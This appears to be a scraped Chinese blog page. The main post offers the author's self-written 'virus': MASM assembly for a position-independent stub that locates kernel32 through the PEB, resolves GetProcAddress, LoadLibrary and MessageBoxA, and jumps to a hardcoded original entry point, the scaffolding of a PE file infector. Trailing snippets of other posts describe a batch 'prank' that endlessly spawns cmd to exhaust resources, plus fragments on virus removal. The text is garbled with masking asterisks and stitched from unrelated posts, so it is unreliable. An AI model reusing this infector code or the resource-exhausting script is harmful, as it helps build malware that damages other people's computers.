前年寫的病毒,當時中了蘿拉病毒,然後我照的它寫了乙個,參考了好多資料,主要是386彙編和pe檔案結構的資料,個人感覺彙編什麼的不是很難,當時我還不太熟悉巨集彙編,不然可以有更簡潔的**
.486
.model flat, stdcall
option casemap :none
include /ma**32/include/windows.inc
.code
start:
call pstart
pstart:
pop ebx ;mov ebx,dword ptr [esp]
sub ebx,offset pstart ;//ebx為重定位資訊,現在應該是0
push ebp ;//儲存程式開始時的ebp
mov ebp,esp
sub esp,80h ;//根據變數改變40h
mov dword ptr [ebp-4],ebx ;//儲存到pbase
;///getkernelbase///
mov eax, ss:[30h]
test eax,eax
js loc1
mov eax, dword ptr [eax + 0ch]
mov esi, dword ptr [eax + 1ch]
lodsd
mov eax, dword ptr [eax+8]
jmp loc2
loc1:
mov eax,dword ptr [eax+34h]
mov eax,dword ptr [eax+0b8h]
loc2:
mov dword ptr [ebp-10h],eax
push ebp ;//儲存變數表指標ebp
mov ebp,eax ;//ebp=kbase
;///get getprocaddress's enterpoint//
mov eax,dword ptr [ebp+3ch]
mov edx,dword ptr [ebp+eax+120]
add edx,ebp
mov ecx,dword ptr [edx+24] ;//number
mov ebx,dword ptr [edx+28] ;// at=esp+4
push dword ptr [edx+32] ;//npt=esp
;mov edi,esp
sub edi,10h
mov dword ptr [edi],50746547h
mov dword ptr [edi+4],41636f72h ; 要改
mov dword ptr [edi+8],65726464h
mov dword ptr [edi+0ch],00007373h
;findstart:
dec ecx
xor edx,edx
mov esi,dword ptr [esp]
add esi,ebp
mov esi,dword ptr [esi]
add esi,ebp
cmpbyte:
lodsb
cmp al,byte ptr [edi+edx]
jne notsame
cmp edx,14
je find
inc edx
loop cmpbyte
jmp cantfind
notsame:
add dword ptr [esp],4
add ebx,4
jmp findstart
cantfind:
xor eax,eax
jmp findend
find:
add ebx,ebp
mov eax,dword ptr[ebx]
add eax,ebp
findend:
add esp,4
pop ebp ;//pop出變數表指標
mov dword ptr [ebp-0ch],eax ;//儲存getprocaddress的函式入口點
;/mov ebx,dword ptr [ebp-4]
mov edx,offset loadlibrary ;//loadlibrary
add edx,ebx
push edx
push dword ptr [ebp-10h]
call dword ptr [ebp-0ch] ;//獲得loadlibrary的位址
mov dword ptr [ebp-14h],eax
mov edx,offset user32 ;//user32.dll
add edx,ebx
push edx
call eax ;//呼叫loadlibrary
mov edx,offset messagebox ;//user32.dll
add edx,ebx
push edx
push eax
call dword ptr [ebp-0ch] ;//獲得messageboxa的位址
push 0
push edx
push edx
push 0
call eax
nopnop
;//
add esp,80h ;//根據變數改變40h
pop ebp
jmp pend
;loadlibrary:
db "loadlibrarya",0
user32:
db "user32.dll",0
messagebox:
db "messageboxa",0
pend:
mov eax,0041c560h ;//轉到正常的程式入口點
jmp eax
nopnop
nopnop
nopnop
nop
end start
用bat寫的乙個小病毒
最近看了一點bat的知識,具體說是看了乙個部落格 用了三天才看完 感覺作者整理整理可以把部落格當書買了。然後自己突發其想,想到了乙個小病毒程式,其實也算不上病毒,只能算是個惡作劇程式吧,其原理就是不斷開啟cmd程式,占用系統資源。呵呵。讓大神見笑了 windows.bat start cmd 0使用...
如何手動清除常見的小病毒
在本文中涉及的軟體1 process explorer 乙個程序管理器,比系統中的任務管理器強點。2 autoruns 自啟動項管理器,可以檢視系統中地自啟動專案,掃瞄很全面。病毒確實是乙個令人頭痛的問題,特別對於那些對系統不是太熟悉的人。本文針對這一部分人,嘗試著教會他們如何應對。如果您是大蝦,請...
BCB寫病毒專殺
bool fastcall tmainform deletevirusfile char buffer max path statememo lines add 可疑檔案 string buffer 清除失敗 return false 下面將會頻繁地呼叫這兩個函式,我們的重點在於快速查殺,通常情況下...